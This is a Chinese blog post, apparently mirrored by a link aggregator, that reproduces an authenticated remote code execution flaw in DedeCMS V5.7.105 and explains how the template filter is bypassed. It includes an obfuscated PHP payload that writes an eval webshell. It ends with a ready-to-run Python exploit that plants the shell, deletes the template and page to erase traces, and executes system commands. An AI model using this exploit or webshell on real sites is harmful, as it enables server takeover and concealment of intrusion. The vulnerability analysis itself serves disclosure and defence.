4

织梦DedeCMS 0day RCE - seizer-zyx

 1 year ago
source link: https://www.cnblogs.com/seizer/p/17146267.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

织梦DedeCMS 0day RCE

原文链接:https://mp.weixin.qq.com/s/bwBc4I9GeY6M_WlEDx83TA

复现记录时间:

2410932-20230222223149560-524462748.png

下载当前最新版本DedeCMS V5.7.105进行漏洞复现以及漏洞分析

可以自己在本地搭建漏洞环境,也可以拉取我自己制作的docker镜像

bash
docker pull se1zer/dedecms:latest
docker run -d -P se1zer/dedecms

不会给镜像做瘦身,正在学了,555,要是拉取的太慢可以挂到后台或者就自己本地搭一下吧

首先需要到后台登录界面/uploads/dede/登录到后台,然后如下图操作创建一个模板

2410932-20230222223150277-564844670.png

这里模板内容需要做绕过,详情看后边的漏洞分析

php
<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
// file_put_contents('./shell.php', "<?php eval($_GET[a]);");

2410932-20230222223150835-1439687146.png

第二步,如下图增加一个页面

2410932-20230222223151376-850638263.png

通过刚刚新建的模板进行新建页面,需要注意的是这里文件名处后缀为.php

2410932-20230222223151716-1027206131.png

2410932-20230222223152237-100429007.png

之后便在/uploads/a/下创建了一个文件,访问/uploads/a/123.php页面将会执行自己写的file_put_contents函数生成一个shell.php

2410932-20230222223152708-664601852.png

2410932-20230222223153135-72831410.png

通过刚才漏洞复现的接口,可以看到创建模板调用的是tpl.php文件,新建页面调用的是templets_one_add.php文件

tpl.php

文件位于/uploads/dede/tpl.php

在31行这里,对模板内容进行了一些过滤和检测,下边使用注释进行解释过滤

php
// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);
// 黑名单正则匹配
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
    $value = str_replace(" ", "", $value);
    // [^a-z]+ 是除a-z之外的字符(在[]里不是开头的意思)
    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
}
// 匹配<\?php头
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
    // 这里的U为惰性匹配
    // 匹配函数变量执行,例如$a="phpinfo",则$a()就会被匹配
    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
    // 就是在上一个匹配前加了一个@,防止报错
    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
    // 匹配反引号`,防止命令执行
    if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
}

通过上述梳理,发现有很多方法是可以绕过的!

之后进入$action == 'saveedit'语句,然后写入文件,这里模板文件必须使用.htm结尾

2410932-20230222223153631-1741537563.png

templets_one_add.php

前边都是对新建页面内容的一些处理,不会影响模板内容引入,在43行处开始保存文件

2410932-20230222223154321-1770128043.png

来到uploads/include/arc.sgpage.class.phpSavaToHtml方法

2410932-20230222223154929-29868162.png

然后进入uploads/include/dedetag.class.phpSaveTo方法

2410932-20230222223155468-1147178547.png

798行获取模板内容,如果有标签的话,还会把标签的值写入文件

2410932-20230222223156012-951321142.png

至此分析完毕

总结:代码没有对新建页面的文件后缀进行检测,并且模板内容安全检测也不够完善从而导致了这个漏洞的产生

python
import requests
from urllib.parse import urljoin
import re

cookies = {
    "PHPSESSID": "5k3br9fh4f34so2k0k85qqg3f5"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
}

s = requests.session()
s.headers.update(headers)
s.cookies.update(cookies)

def exp(url):
    
    # 创建恶意模板
    tpl_url = urljoin(url, "dede/tpl.php")
    ## 获取token
    params="action=newfile&acdir=default"
    r = s.get(tpl_url, params=params)

    token = re.search('"token" value="([a-z0-9]{32})"', r.text).group(1)
    # print(token)
    shell = """<?php
    "\\x66\\x69\\x6c\\x65\\x5f\\x70\\x75\\x74\\x5f\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73"('./shell.php', "<?php eva" . "l(\$_POS" . "T[a]);");
    """
    data = {
        "action": "saveedit",
        "acdir": "default",
        "token": token,
        "filename": "hack.htm",
        "content": shell
    }
    
    r = s.post(tpl_url, data=data)
    if "成功" in r.text:
        print("成功创建模板")
    
    # 利用恶意模板新建页面
    templets_url = urljoin(url, "dede/templets_one_add.php")
    data = {
        "dopost": "save",
        "title": "hack",
        "keywords": "hack",
        "description": "hack",
        "likeidsel": "default",
        "nfilename": "/a/hack.php",
        "template": "{style}/hack.htm",
        "ismake": 0,
        "body": ""
    }
    r = s.post(templets_url, data=data)
    if "成功" in r.text:
        print("成功增加页面")
    s.get(urljoin(url, "a/hack.php"))

    # 清理痕迹
    ## 获取aid
    r = s.get(urljoin(url, "dede/templets_one.php"))
    aid = re.search("'templets_one_edit.php\?aid=([0-9]+)&dopost=edit'>hack", r.text).group(1)
    ## 删除页面
    params = f"aid={aid}&dopost=delete"
    r = s.get(urljoin(url, "dede/templets_one_edit.php"), params=params)
    if "成功" in r.text:
        print("成功删除页面")
    ## 删除恶意模板
    params = "action=del&acdir=default&filename=hack.htm"
    r = s.get(tpl_url, params=params)
    if "成功" in r.text:
        print("成功删除模板")
    
    shell_url = urljoin(url, "a/shell.php")
    print("shell地址: " + shell_url)
    print("shell密钥为a")
    r = s.post(shell_url, data={"a":"system('whoami');"})
    print("whoami命令执行结果: " + r.text)



if __name__ == "__main__":
    url = "http://phpstorm.com/DedeCMS-V5.7.105-UTF8/uploads/"
    exp(url)

登录后台后,手动修改脚本中的cookie和网站根目录,运行脚本即可获得shell地址及密码

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK